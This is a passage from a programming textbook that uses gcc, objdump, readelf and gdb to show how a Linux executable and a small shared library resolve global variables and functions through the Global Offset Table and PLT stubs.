 g.$  cat p2.c                                                # Prints the contents of p2.c 
 extern int g1; 
 int g2 = 2; 
 int f(void) { int v2=0x22; return v2+g1+g2; } 
 g.$ 
 g.$  gcc -fpic -shared -o libp2.so p2.c                      # Creates the library p2 
 g.$  gcc -o p.bin p1.c -L"." -lp2                            # Creates the executable p.bin 
 g.$  LD_LIBRARY_PATH="." ./p.bin                             # Executes p.bin 
 g.$  echo $?                                                 # Prints the return value of main() 
 57 
 g.$ 

   The last commands need some clarification:

•    The option  -fpic  tells  gcc  to create a  position-independent code ; that is, a code that 
can be loaded in memory at an arbitrary address without the need to be relocated.  

•   The option  -shared  produces a shared library.  

•   The name  libp2.so  comes from  p2.c  by changing the filename extension from  .c  to 
 .so  and adding  lib  at the beginning; briefly: 

   soname = Shared Object NAME = "lib" + libraryName + ".so" + "." + versionNumber 
(or majorNumber); e.g. libp2.so.1     

•      Usually a soname is a link (created by the  ldconfig  command) to the real library 
whose name is 

    soname + "." + minorNumber + "." + release; e.g.: libp2.so.1.3.9 
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•      The release number is optional, therefore we can find  libp2.so.1.3 . The name used 
by compilers is simply  libp2.so .    

 When compiling, we add  -L"."  on the command line to specify the directory (“.” is the current one) in 
which to search for libraries. The option - lp2  means: use the library (-l) p2. To get its full name, we add the 
 lib  prefix and  .so  extension, thus obtaining  libp2.so . 

 With dynamic linking, unlike static, the library is not included in the executable; the linker only checks 
whether the symbols imported from  p1.o  are defined in  libp2.so . 

 If  LD_LIBRARY_PATH="."  is omitted,  libp2.so  is searched inside the directories listed in  /etc/ld.so.
conf  without success; this produces an error message: “./p.bin: error while loading shared libraries: libp2.so: 
cannot open shared object file: No such file or directory.”  

     Where Are the  Global Symbols  ? 
 To begin answering that question, let’s disassemble the executable: 

   g.$  objdump -d p.bin  
 ... 
 00000000004006b6 <main>: 
   4006b6:     55                     push   %rbp 
   4006b7:     48 89 e5               mov    %rsp,%rbp 
   4006ba:     48 83 ec 10            sub    $0x10,%rsp 
   4006be:     c7 45 fc 11 00 00 00   movl   $0x11,-0x4(%rbp)          # v1 = 0x11 
   4006c5:     e8 c6 fe ff ff         callq  400590 <f@plt>            # Calls f() 
   4006ca:     89 c2                  mov    %eax,%edx                 # EDX = f() 
   4006cc:     8b 45 fc               mov    -0x4(%rbp),%eax           # EAX = v1 
   4006cf:     01 c2                  add    %eax,%edx                 # EDX +=  v1   
   4006d1:     8b 05 09 04 20 00      mov    0x200409(%rip),%eax       # EAX = g1 
   4006d7:     01 c2                  add    %eax,%edx                 # EDX += g1 
   4006d9:     8b 05 09 04 20 00      mov    0x200409(%rip),%eax       # EAX = g2 
   4006df:     01 d0                  add    %edx,%eax                 # EAX = f()+v1+g1+g2 
   4006e1:     c9                     leaveq 
   4006e2:     c3                     retq 
 ... 

   Except for  f@plt  we note that  p.bin  includes  main()  but not  f() , now in  libp2.so : 

   g.$  nm libp2.so  
 00000000002009bc B __bss_start 
 ... 
 00000000000006c0 T f 
 ... 
                  U g1 
 00000000002009b8 D g2 
 ... 
 g.$ 
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   As we can see, in  libp2.so  the code of function  f()  stays in the Text section  (.text , containing the 
machine code) and the variable  g2  in the (initialized) Data section  (.data , containing global and static 
variables). By contrast,  g1  is Undefined in  libp2.so , since it is in the  .data  section of  p.bin : 

   g.$  nm p.bin  
 0000000000600ae4 B __bss_start 
 ... 
                  U f 
 ... 
 0000000000600ae0 D g1 
 0000000000600ae8 B g2 
 ... 
 00000000004006b6 T main 
 ... 
 g.$ 

   It’s worth noting that in  p.bin  the variable  g2  is not undefined as expected (the other two symbols, 
 f  and  g1 , are defined in only one file); we’ll see why later. Moreover, let’s remember the addresses of the 
global symbols. 

 Once their sections have been found, we can search for more information about global symbols; let us 
start from  g1 . 

 The command  readelf -S p.bin  (or  objdump -h p.bin ) prints the section addresses, which let us 
know the location of  g1  (address=0x600ae0) from the beginning of the  .data  section: 

    g.$  readelf -S p.   bin    
 There are 30 section headers, starting at offset 0x14a0: 

   Section Headers: 
   [Nr] Name             Type             Address           Offset 
        Size             EntSize          Flags  Link  Info  Align 
 ... 
   [24] .data            PROGBITS         0000000000600ad0  00000ad0 
        0000000000000014 0000000000000000  WA      0     0     8 
   [25] .bss             NOBITS           0000000000600ae8  00000ae4 
 ... 

    The command  objdump -s -j .data p.bin  also shows the initial value of  g1 : 

    g.$  objdump -s -j .data p.bin  

   p.bin:     file format elf64-x86-64 

   Contents of section .data: 
  600ad0    00000000 00000000 00000000 00000000 ................ 
  600ae0    01000000 
     |       | 
 Addresses  01 = Low byte of g1  (see the Chapter 3 discussion of little-endian encoding)  

    The size of the  .data  section is 0x14=20 bytes (from 0x600ad0 to 0x600ae3); here the integer variable  g1  
holds the last four bytes (0x600ae0 – 0x600ae3). 

 The following four bytes are unused so that the address (0x600ae8) of the next section  (.bss : Block 
Started by Symbol) is a multiple of 8. The first element of  BSS  is  g2 . 
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 The value of  g2  will be known for sure only when  p.bin  starts execution, but not until then (the library 
could be updated before execution [  28  ] ); therefore, in  p.bin , the variable  g2  is placed inside  BSS , containing 
uninitialized static and global variables. [  29  ]  That’s why the  nm  command prints a B between the address and 
the symbol name. 

 Don’t forget that in  libp2.so  the symbol  g2  appears in the  .data  section, where it holds the last four 
bytes; in fact  .data  is located between 0x2009b0 and 0x2009b0 + 0xc – 1 = 0x2009bb: 

    g.$  nm libp2.so | grep g2  
 00000000002009b8 D  g2   
 g.$  readelf -S libp2.so  
 There are 27 section headers, starting at offset 0x11a0: 

   Section Headers: 
   [Nr] Name             Type             Address           Offset 
        Size             EntSize          Flags  Link  Info  Align 
 ... 
   [21] .data            PROGBITS         00000000002009b0  000009b0 
        000000000000000c 0000000000000000  WA       0     0     8 
   [22] .bss             NOBITS           00000000002009bc  000009bc 
 ... 
 g.$ 
 g.$  objdump -s -j .data libp2.so  

   libp2.so:     file format elf64-x86-64 

   Contents of section .data: 
  2009b0 b0092000 00000000 02000000 .. ......... 
 g.$                        | 
                           02 = Low byte of g2 (at address 0x2009b0+8 = 0x2009b8) 

    Therefore the symbol  g2  refers to two different variables, but only one of them (the one in the  .bss  
section of  p.bin ) is used by our  program  .  

     How Global Variables Are Addressed 
 Now let’s see how the  global variables    g1  and  g2  are addressed in  p.bin . 

 As with static linking, the assembly code shows that in  main()  the reference to  g1  is indirect; instead of 
the absolute address there is the one relative to the next instruction: 

   4006d1:          8b 05 09 04 20 00     mov    0x200409(%rip),%eax    # 600ae0 <g1> 
 4006d7:          01 c2                 add    %eax,%edx 

   28  As an example, let’s change “ int g2=2; ” to “ int g2=3; ” and then update  libp2.so :

 g.$ gcc -fpic -shared -o libp2.so p2.c           # Updates the shared library (not p.bin) 
g.$ LD_LIBRARY_PATH="." ./p.bin                  # Executes p.bin 
g.$ echo $?                                      # Prints main()'s return value 
59                                                # The old value was 
57 g.$               # Before continuing undo modifications and resume the old contents of files.   

   29  These variables will be set to zero by the program loader (see the section “The GNU Linker”), which allocates and 
initializes the memory required by the  .bss  section.  
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   The instruction  mov 0x200409(%rip),%eax  means “copy ( mov ) to the 32-bit register  EAX  four bytes 
starting from the one with address  RIP +0x200409 [  30  ] , where  RIP  is the address of the following instruction 
(from which  g1  is 0x200409 bytes away)    . 

 Since  RIP  = 0x4006d7  address of  g1  = 0x4006d7+0x200409 = 0x600ae0. 
 The same instruction ( mov 0x2003dd(%rip),%eax ) is used to copy  g2  to  EAX , but with a different result 

since now  RIP  = 0x4006df: 

   4006d9:        8b 05 09 04 20 00     mov    0x200409(%rip),%eax    # 600ae8 <g2> 
 4006df:        01 d0                 add    %edx,%eax 

   It’s not the same in  libp2.so : 

   g.$  objdump -j .text -d libp2.so  
 ... 
 00000000000006c0 <f>: 
  6c0:   55                      push   %rbp                      # Prologue 
  6c1:   48 89 e5                mov    %rsp,%rbp                 # Prologue 
  6c4:   c7 45 fc 22 00 00 00    movl   $0x22,-0x4(%rbp)          # v2 = 0x22 
  6cb:   48 8b 05 86 02 20 00    mov    0x200286(%rip),%rax       # RAX=&g1=0x200958 
  6d2:   8b 10                   mov    (%rax),%edx               # EDX = g1 
  6d4:   8b 45 fc                mov    -0x4(%rbp),%eax           # EAX = v2 
  6d7:   01 c2                   add    %eax,%edx                 # EDX = v2+g1 
  6d9:   48 8b 05 88 02 20 00    mov    0x200288(%rip),%rax       # RAX=&g2=0x200968 
  6e0:   8b 00                   mov    (%rax),%eax               # EAX = g2 
  6e2:   01 d0                   add    %edx,%eax                 # EAX = (v2+g1)+g2 
  6e4:   5d                      pop    %rbp                      # Epilogue 
  6e5:   c3                      retq                             # Returns v2+g1+g2 
 ... 

   As before, references to  g1  and  g2  in  f()  are indirect, but now there is a further level of indirection: the 
address of each variable is obtained in two steps. 

 In “ mov 0x200286(%rip),%rax ”, the value  RIP +0x200286 = 0x6d2+0x200286 = 0x200958 is not the 
address of  g1 , but that of another variable (let’s call it  got_g1 ) containing the address of  g1 ;  g1  is copied to a 
register by the following  instruction  : 

   6cb:   48 8b 05 86 02 20 00   mov   0x200286(%rip),%rax     # RAX =  got_g1 = &g1 
 6d2:   8b 10                   mov   (%rax),%edx              # EDX = *got_g1 = g1 

   In the same way,  RIP +0x200288 = 0x6e0 + 0x200288 = 0x200968 is not the address of  g2 , but that of 
 got_g2 , which contains the address of  g2 : 

   6d9:   48 8b 05 88 02 20 00   mov   0x200288(%rip),%rax     # RAX =  got_g2 = &g2 
 6e0:   8b 00                  mov   (%rax),%eax             # EAX = *got_g2 =  g2   

   30  In C we would write:  EAX = *((int32_t *)RIP + 0x200409);   
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        The  Global Offset Table   
 The variables  got_g1  and  got_g2  stay in the  .got  ( Global Offset Table ) section; this can be deduced by the 
addresses printed by the command  readelf -S libp2.so , or better by  objdump -s -j .got libp2.so , 
which also shows their values (both null): 

    g.$  objdump -s -j .got libp2.so  

   libp2.so:     file format elf64-x86-64 

   Contents of section .got: 
  200950 00000000 00000000  00000000 00000000   ................         # got_g1 is highlighted 
  200960 00000000 00000000  00000000 00000000   ................         # got_g2 is highlighted 
  200970 00000000 00000000 00000000 00000000  ................ 
  200980 00000000 00000000                    ........ 
 g.$              The first column contains addresses  The ".got " section ranges from 

0x200950 to 0x200987 

    At startup the dynamic linker updates the contents of the  .got  section (of  libp2.so ), by saving the 
addresses of  g1  and  g2  in  got_g1 and  got_g2 , respectively. 

 Before verifying, we must remember that, unlike those in  p.bin , the section addresses of  libp2.so  are 
not definitive:  libp2.so  contains a shared library whose memory location will be known only when the 
program using that library is started. 

 Prior to that moment, we only know temporary addresses; for some sections (among which is  .text ) 
they are equal to the offset relative to the beginning of  libp2.so , while for some other sections ( .got ,  .data , 
and so on) they differ by a constant (0x200000; 0x400000 for  p.bin ): 

   g.$  readelf -S libp2.so | grep "\["  
   [Nr] Name              Type           Address           Offset 
 ... 
   [11] .text             PROGBITS       00000000000005c0  000005c0 
 ... 
   [19] .got              PROGBITS       0000000000200950  00000950 
   [20] .got.plt          PROGBITS       0000000000200988  00000988 
   [21] .data             PROGBITS       00000000002009b0  000009b0 
 ...     

        The  Relocation Constant   
 When  p.bin  starts execution, the dynamic linker loads  libp2.so  into memory and then maps it in the virtual 
memory of  p.bin ; in particular, the  .text  and  .data  sections get new addresses, equal to the temporary 
ones plus a  relocation constant  (or  base address ),  k : 

   g.$  objdump -d libp2.so | grep "<f>"  
 00000000000006c0 <f>:                        # 0x6c0 = temporary address = offset in libp2.so 
 g.$  LD_LIBRARY_PATH="." gdb p.bin  [  31  ]  

   31  As an alternative, we can install the library without the need to specify the directory in which to search for  libp2.so :

 g.$ su -c "cp libp2.so /usr/lib/x86_64-linux-gnu/" # /usr/lib64/ on openSUSE  

  Password: *****
g.$ gdb p.bin  # Now we don't have to add "LD_LIBRARY_PATH"   
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 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 
 Copyright (C) 2014 Free Software Foundation, Inc. 
 ... 
 (gdb)  print g1                            # The variable g1 stays in section .data of p.bin 
 $1 = 1                                        
 (gdb)  print g2  
 $2 = 0 
 (gdb)  print &g2                           # This is the variable g2 of section .bss of p.bin 
 $3 = (<data variable, no debug info> *) 0x600ae8 <g2> 
 (gdb)  info symbol 0x600ae8  
 g2 in section .bss 
 (gdb)  x 0x2009b8                          # Variable g2 of section .data of libp2.so. 
 0x2009b8:       Cannot access memory at address 0x2009b8 
 (gdb)  x 0x7ffff7ddb9b8                    # But libp2.so has still not been loaded in memory. 
 0x7ffff7ddb9b8: Cannot access memory at address 0x7ffff7ddb9b8 
 (gdb)  start                                #  Loads the program, completes linking, then starts 

execution. 
 Temporary breakpoint 1 at 0x4006ba                
 Starting program: /home/g/p.bin                
                                                
 Temporary breakpoint 1, 0x00000000004006ba in main ()    #  Execution stops at the end of 

main's prologue. 
 (gdb)  print g2                         # p.bin has just been started 
 $4 = 2                                # g2=2 (before it was 0). 
 (gdb)  x 0x2009b8                        # This address has been relocated; we must search for k. 
 0x2009b8:       Cannot access memory at address 0x2009b8   
 (gdb)  disassemble f  
 Dump of assembler code for function f: 
    0x00007ffff7bdb6c0 <+0>:     push   %rbp 
    0x00007ffff7bdb6c1 <+1>:     mov    %rsp,%rbp 
    0x00007ffff7bdb6c4 <+4>:     movl   $0x22,-0x4(%rbp) 
    0x00007ffff7bdb6cb <+11>:    mov    0x200286(%rip),%rax      # RAX = got_g1 
    0x00007ffff7bdb6d2 <+18>:    mov    (%rax),%edx              # EDX = *got_g1 
    0x00007ffff7bdb6d4 <+20>:    mov    -0x4(%rbp),%eax 
    0x00007ffff7bdb6d7 <+23>:    add    %eax,%edx 
    0x00007ffff7bdb6d9 <+25>:    mov    0x200288(%rip),%rax      # RAX = got_g2 
    0x00007ffff7bdb6e0 <+32>:    mov    (%rax),%eax              # EAX = *got_g2 
    0x00007ffff7bdb6e2 <+34>:    add    %edx,%eax 
    0x00007ffff7bdb6e4 <+36>:    pop    %rbp 
    0x00007ffff7bdb6e5 <+37>:    retq 
 End of assembler dump. 
 (gdb)  set $k = f-0x6c0              # 0x6E0=Address not relocated (=offset in libp2.so) of f(). 
 (gdb)  print $k                                       
 $5 = (<text variable, no debug info> *) 0x7ffff7bdb000   # k = relocation constant. 
 (gdb)  x $k+0x2009b8                                        
 0x7ffff7ddb9b8 <g2>:    0x00000002         # Variable g2 of section .data of libp2.so  [  32  ]  
 (gdb)  print &g1  
 $6 = (<data variable, no debug info> *) 0x600ae0 <g1> 
 (gdb)  x $k+0x200958                                              # Relocated address of got_ g1   
 0x7ffff7ddb958: 0x00600ae0                                      # Now got_g1 = &g1 

   32  Prior to starting  p.bin , the data at address 0x7FFFF7DDC9E0 was not accessible.  
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 (gdb)  info symbol 0x7ffff7ddb958  
 No symbol matches 0x7ffff7ddb958.                               # got_g1 is a made-up name ! 
 (gdb)  print &g2  
 $7 = (<data variable, no debug info> *) 0x600ae8 <g2> 
 (gdb)  x $k+0x200968                                              # Relocated address of got_g2 
 0x7ffff7ddb968: 0x00600ae8                                      # Now got_g2 = &g2 
 (gdb)  info symbol 0x7ffff7ddb968  
 No symbol matches 0x7ffff7ddb968.                               # got_g2 is a made-up name ! 
 (gdb) 

   We know that the  .text  section of  libp2.so  starts at offset 0x5c0 (the entry point). The function  f() , 
starting at offset  0x6c0 , has memory address  0x7ffff7bdb6c0  in the virtual address space of the executable. 
From these two values the relocation constant can be calculated: 

   k = 0x7ffff7bdb6c0 – 0x6c0 = 0x7ffff7bdb000. 

   By taking into account the effective values assumed by the  RIP  register after program startup, we can 
calculate the effective addresses of  got_g1  and  got_g2 :

   & got_g1  =  RIP  + 0x200286 = 0x7ffff7bdb6d2 + 0x200286 = 0x7ffff7ddb958 [  33  ]   

  & got_g2  =  RIP  + 0x200288 = 0x7ffff7bdb6e0 + 0x200288 = 0x7ffff7ddb968    

 Their values are no longer null (they have been initialized by the dynamic linker):

    got_g1  = *(& got_g1 ) = *(0x7ffff7ddb958) = 0x600ae0 = & g1   

   got_g2  = *(& got_g2 ) = *(0x7ffff7ddb968) = 0x600ae8 = & g2     

 The use of the Global Offset Table makes the code more complex, but it allows us to separate the code 
from data, mark it as read-only, and safely share it between processes. [  34  ]      

      Section Attributes  : Sharing Library Code 
 Let’s take another look at the output of the command  readelf -S libp2.so , of which we’ve seen only a few 
of the sections :  [  35  ]  

   Section Headers: 
   [Nr] Name              Type             Address           Offset 
        Size              EntSize           Flags   Link  Info  Align 
 ... 
   [11] .text             PROGBITS         00000000000005c0  000005c0 
        0000000000000126  0000000000000000   AX     0     0     16             A=allocatable 
 ...                                                                         X=executable 
   [19] .got              PROGBITS         0000000000200950  00000950        W=writable 
        0000000000000038  0000000000000008   WA     0     0     8 
 ... 

   33  The same value can be obtained by adding  k  to the temporary address (still not relocated) of got_g1: 
0x7ffff7bdb000+0x200958 = 0x7ffff7ddb958; the same for  got_g2 .  
   34  Sharing is done by mapping the library code into the virtual memory space of each process using the same library; the 
physical memory includes only one copy.  
   35  We can open another terminal window to avoid closing the debugging session.  
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   [21] .data             PROGBITS         00000000002009b0  000009b0 
        000000000000000c  0000000000000000  WA       0     0     8 
 ... 

   The  .text  section has two attributes: A (Allocatable: occupies memory space) and X (has eXecutable 
code), but not W (Writable) like sections  .got  and  .data . 

 The read-only attribute is a security measure; it’s important if the library code must be shared between 
several processes to avoid unnecessary duplication and save memory. 

 To this end, the code of  libp2.so  must not include absolute addresses, either for data or for code, 
because there is no way of knowing them at compilation time: the base address of one library depends on 
other libraries already loaded in memory, and the address of a global variable (let’s call it  g ) is set by the 
program using that  library  . 

 If the code contains absolute addresses, it’s necessary to relocate the code, which cannot be marked as 
read-only, because addresses need to be changed. 

 The relative addressing ( mov offset(%rip), %eax ) might avoid absolute addresses, but it’s not feasible; 
the offset of the global variable from the next instruction is not known  a priori , since variable and code 
belong to different modules. 

 Therefore we need an additional variable ( got_g ) to be reached by knowing the offset from the library code. 
 Figure  4-1  shows how it works.   

  Figure 4-1.    Addressing a global  variable         

     Searching for a  Ghost   
 Unlike  g1 , the symbol  g2  has a peculiarity: because it is defined inside the library, a variable with that name 
must exist in the  .data  section of the library. That variable is distinct from the one with the same name in 
the  .bss  section of  p.bin . To avoid confusion we call  g2_l  the former and  g2_p  the latter. We also know that 
 p.bin  uses  its own variables   g1  (in the  .data  section) and  g2_p  (in  .bss ); they are referenced through their 
offsets from code: 

   mov 0x200409(%rip),%eax 
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   The same applies to  libp2.so  but with a further indirection: the code uses  got_g1  and  got_g2 , 
initialized by the dynamic linker to point to  g1  and  g2_p , respectively. 

 If  got_g2  pointed to  g2_l , we wouldn’t have one unique global variable; each module ( x.bin ,  libp2.so ) 
would use its own, as if it was a local variable. 

 Of course,  g2_l  remains in memory after program startup, keeping the initial value of  g2  even if it’s not 
used. Its relocated address is the following: 

  k  + 0x2009E0 = 0x7FFFF7BDC000 + 0x2009E0 = 0x7FFFF7DDC9E0 
 See the output of  nm libp2.so | grep g2 : 

   (gdb)  x 0x7ffff7ddb9b8  
 0x7ffff7ddb9b8 <g2>:   0x00000002                     # What is g2 ? 
 (gdb)  info symbol 0x7ffff7ddb9b8  
 g2 in section .data of ./libp2.so                     # g2_l 
 (gdb)  info symbol 0x600ae8  
 g2 in section .bss of /home/g/p.bin                   # This is g2_p instead.     
 (gdb) 

   Let us remember that  g2_p  and  g2_l  are made-up names; only one variable  g2  is used by our program 
(library included)—the one at address 0x600ae8. 

 Now we can change the values of  g2_p  and  g2_l  to see what happens: 

   (gdb)  set *0x600ae8=3                                # Changes the value of g2_p (from 2 to 3) 
 (gdb)  x 0x7ffff7ddb9b8                               # The value of g2_l was changed ? 
 0x7ffff7ddb9b8 <g2>:     0x00000002                 # No, it's still 2 
 (gdb)  set *0x7ffff7ddb9b8=4                          # Changes the value of g2_l (from 2 to 4) 
 (gdb)  x 0x600ae8                                     # The value of g2_p was changed ? 
 0x600ae8 <g2>:  0x00000003                          # No, it's still 3 
 (gdb)  x 0x7ffff7ddb9b8                               # Prints g2_l (to verify) 
 0x7ffff7ddb9b8 <g2>:    0x00000004 
 (gdb)  print g2  
 $8 = 3                                              # g2 is g2_p 
 (gdb)     

   These two variables are therefore distinct and independent from each other. 
 They also differ from those related to other processes using the same library, whose code (but not data [  36  ] ) 

is shared, although mapped at different virtual addresses. 
 One copy of the library can be found in the virtual memory of each linked process; see the output of the 

command  cat /proc/$(pidof p.bin)/maps , or  pmap $(pidof p.bin)  in a terminal window different from 
the one holding the debugging session of  gdb . We note three lines: 

   00007ffff7bdb000      4K r-x--  libp2.so   # Text segment 
 00007ffff7bdc000   2044K -----  libp2.so   # Hole 
 00007ffff7ddb000      4K rw---  libp2.so   # Data segment 

   36  For more information about memory management, a useful discussion can be found at    http://www.tldp.org/LDP/
tlk/mm/memory.html     .  

http://www.tldp.org/LDP/tlk/mm/memory.html
http://www.tldp.org/LDP/tlk/mm/memory.html
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   The first line provides the address and attributes of the memory page (4 KB in size) containing the 
first segment with the  LOAD  attribute. This memory segment, which includes the  .text  section, is listed by 
the command  readelf -l libp2.so . The third line relates to the second segment with the  LOAD  attribute, 
which holds the sections  .got ,  .data , and  .bss . These memory pages are separated by 511 pages with null 
attributes ( Hole ). 

 Let’s not forget that every process has its own virtual address space (128 TiB = 0.5x2^48 bytes in a 64-bit OS) 
and behaves as the only one to be executed. 

 For each copy of the library, the text segment is like a mirror of one shared segment allocated in the 
physical memory. Data segments (including  .got  and  .data  sections) have different physical addresses 
(hence they are distinct), even if with the same virtual address. This is not true for executables; different 
instances have different unshared text segments, like data segments. 

 But   position-independent executables (PIEs)    can be loaded in memory at arbitrary addresses, just like 
libraries. PIEs are more secure, but they suffer a small performance loss.    Not all systems are configured to create 
PIE executables as a predefined setting; for example on Debian this functionality must be explicitly activated. [  37  ]    

     Shared Libraries:  PLT      
 Now we want to see how  main()  addresses  f() . Because  f()  is a library function, the address of  f()  is not 
known at compilation time, so we won’t get a single assembly instruction like  callq 400fbb , because the 
offset from the call instruction is not known. The address of  f()  depends on the base memory address at 
which the library will be loaded, but a trick is needed to avoid changing the code to fix that address, since 
doing so would involve code recompilation. 

 When reading the source code of function  main()  we note that  main()  does not call  f() , but  f@plt() . 
 Instead of  f() , in  p.bin  we find a   stub-function   :  f@plt() , used by  main()  to call  f()  indirectly:     

   g.$  objdump -d p.bin  
 ... 
 00000000004006b6 <main>: 
   4006b6:       55                       push   %rbp 
   4006b7:       48 89 e5                 mov    %rsp,%rbp 
   4006ba:       48 83 ec 10              sub    $0x10,%rsp 
   4006be:       c7 45 fc 11 00 00 00     movl   $0x11,-0x4(%rbp) 
   4006c5:       e8 c6 fe ff ff           callq  400590 <f@plt> [  38  ]  
   4006ca:       89 c2                    mov    %eax,%edx 
 ... 

   The function  f@plt  is not in the  .text  section, but in  .plt . Both of these sections are inserted by the 
linker in the text segment; see the output of  readelf -l p.bin .     

 A similar problem was seen for the global variables  g1  and  g2  in  libp2.so , and the solution is similar: 
just as  got_gx  refers to  gx , so  f@plt()  refers to  f()  by using a memory area ( got.plt , holding the addresses 
of functions in dynamic libraries) which can be initialized by the  dynamic linker:    

    g.$  objdump -s -j .got.plt p.bin  
 p.bin:     file format elf64-x86-64 

   37  For more information see the following sites    https://wiki.debian.org/Hardening         https://gcc.gnu.org/
onlinedocs/gcc/Link-Options.html       
   38  The offset (0xFFFFFEC6 = –0x13A) is negative because the  .plt  section was loaded at a lower address than  .text ; in fact 
0x4006ca – 0x13a = 0x400590 = f@plt. Let’s not forget the “little-endian” encoding (discussed in Chapter   3    ): C6 FE FF FF = 
0xFFFFFEC6. The same is true for the addresses printed by the next command ( objdump -s -j .got.plt p.bin ).  

https://wiki.debian.org/Hardening
https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html
https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html
http://dx.doi.org/10.1007/978-1-4842-2181-5_3
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   Contents of section .got.plt: 
  600aa0 b8086000 00000000 00000000 00000000 ..`.............            
  600ab0 00000000 00000000 96054000 00000000 ..........@.....            
  600ac0 a6054000 00000000 b6054000 00000000 ..@.......@.....            
 g.$ 

    The code of  f@plt()  is in the  .plt  ( Procedure Linkage Table ) section, which holds the stub-functions 
(also called “trampolines,” a self-evident name). Except for the first (let’s call it  PLT[0] ), each of them is a 
small piece of code (only three instructions) which refers to an  external library function  . 

 The  .plt  section includes three other functions; one is  __libc_start_main@plt() , which calls  __libc_
start_main() : 

    g.$  objdump -d -j .plt p.bin  

   p.bin:     file format elf64-x86-64 

   Disassembly of section .plt: 

   0000000000400580 <f@plt-0x10>: 
   400580:       ff 35 22 05 20 00        pushq 0x200522(%rip)      # 600aa8 
   400586:       ff 25 24 05 20 00        jmpq  *0x200524(%rip)     # 600ab0 
   40058c:       0f 1f 40 00              nopl  0x0(%rax) 

   0000000000400590 <f@plt>: 
   400590:       ff 25 22 05 20 00        jmpq  *0x200522(%rip)     # 600ab8 
   400596:       68 00 00 00 00           pushq $0x0 
   40059b:       e9 e0 ff ff ff           jmpq  400580 <_init+0x20> 

   00000000004005a0 <__libc_start_main@plt>: 
   4005a0:       ff 25 1a 05 20 00        jmpq  *0x20051a(%rip)     # 600ac0 
   4005a6:       68 01 00 00 00           pushq $0x1 
   4005ab:       e9 d0 ff ff ff           jmpq  400580 <_init+0x20> 
 ... 

    To better understand how they work, we can use  gdb : 

    g.$  LD_LIBRARY_PATH="." gdb p.bin  
 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 
 Copyright (C) 2014 Free Software Foundation, Inc. 
 ... 
 (gdb)  print f  
 $1 = {<text variable, no debug info>} 0x400590 <f@plt> 
 (gdb)  break *0x400590                                                   
 Breakpoint 1 at 0x400590                        # Stops execution at the beginning of f@plt() [  39  ]  
 (gdb)  run  

   39  Alternatively we can write  break *f  to set the same breakpoint, but the result is different: execution stops at the 
beginning of  f() , not of  f@plt() .  
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 Starting program: /home/g/p.bin 

   Breakpoint 1, 0x0000000000400590 in f@plt () 
 (gdb) 

    The next instruction to be executed is the first of  f@plt()    : 

   (gdb)  x/3i 0x400590  
 => 0x400590 <f@plt>:    jmpq   *0x200522(%rip)            # 0x600ab8 <f@got. plt>   
    0x400596 <f@plt+6>:  pushq  $0x0 
    0x40059b <f@plt+11>: jmpq   0x400580 
 (gdb) 

   When this instruction is executed for the first time, the eight bytes at address 0x600ab8 contain the 
address of the second instruction of  f@plt() , namely 0x400596. 

 To verify it, let us look at the output of the command  objdump -s -j .got.plt p.bin  (see above) 
which prints the contents of the  .got.plt  section. We can also use  gdb  to get the updated values of all 
section fields: 

   (gdb)  x/6xg 0x600aa0  [  40  ]                                        
 0x600aa0:       0x00000000006008b8        0x00007ffff7ffe1a8 
 0x600ab0:       0x00007ffff7df02f0        0x0000000000400596 <- Address: 0x600ab8 
 0x600ac0 <__libc_start_main@got.plt>:     0x00007ffff7853a50   0x00000000004005b6 
 (gdb)     

   The first instruction of  f@plt()  refers to the second one, which saves on the stack (see Chapter   5    ) the 
stub-function index (0 for  f@plt , 1 for  __libc_start_main@plt ); then a jump occurs to a special function 
without name (it’s identified as  f@plt-0x10  because it precedes  f@plt()  by 0x10 bytes). 

 Function  f@plt-0x10  refers to a part of the dynamic linker [  41  ]  which searches for the address of  f() , 
writes it in the  .got.plt  section, and then calls  f() : 

   (gdb)  display/i $pc    
 1: x/i $pc 
 => 0x400590 <f@plt>:    jmpq   *0x200522(%rip)     # 0x600ab8 <f@got.plt>   # function f@plt 
 (gdb)  si    
 0x0000000000400596 in f@plt () 
 1: x/i $pc 
 => 0x400596 <f@plt+6>:  pushq  $0x0                                         # function f@plt 
 (gdb)   si      
 0x000000000040059b in f@plt () 
 1: x/i $pc 
 => 0x40059b <f@plt+11>: jmpq   0x400580                                     # function f@plt 
 (gdb)  si    

   40  One address in the  .got.plt  section has been modified and two others have been initialized by the dynamic linker 
before starting  main() . To prove it we can add the commands “ watch *0x600aa8” , “ watch *0x600ab0 ”, “ watch 
*0x600ac0 ”, and “ break * __libc_start_main ” before “ run ”.  
   41  It is a function called  _dl_runtime_resolve() ; this function calls  _dl_fixup() . See the files  /sysdeps/x86_64/
dl-trampoline.S  and  elf/dl-runtime.c  in glibc.  

http://dx.doi.org/10.1007/978-1-4842-2181-5_5
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 0x0000000000400580 in ?? ()                                 
 1: x/i $pc 
 => 0x400580:    pushq  0x200522(%rip)      # 0x600aa8   # function f@plt-0x10 
 (gdb)  si    
 0x0000000000400586 in ?? ()                
 1: x/i $pc 
 => 0x400586:    jmpq   *0x200524(%rip)     # 0x600ab0   # function f@plt-0x10 
 (gdb)  si    
 _dl_runtime_resolve () at ../sysdeps/x86_64/dl-trampoline.S:34 
 1: x/i $pc 
 => 0x7ffff7df02f0 < _dl_runtime_resolve >:      sub    $0x38,%rsp 
 (gdb)  si  
 36     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df02f4 <_dl_runtime_resolve+4>:    mov    %rax,(%rsp) 
 (gdb)  si  
 37     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df02f8 <_dl_runtime_resolve+8>:     mov    %rcx,0x8(%rsp) 
 (gdb)  si  
 38     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $ pc   
 => 0x7ffff7df02fd <_dl_runtime_resolve+13>:    mov    %rdx,0x10(%rsp) 
 (gdb)  si  
 39     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0302 <_dl_runtime_resolve+18>:    mov    %rsi,0x18(%rsp) 
 (gdb)  si  
 40     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $ pc   
 => 0x7ffff7df0307 <_dl_runtime_resolve+23>:    mov    %rdi,0x20(%rsp) 
 (gdb)  si  
 41     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
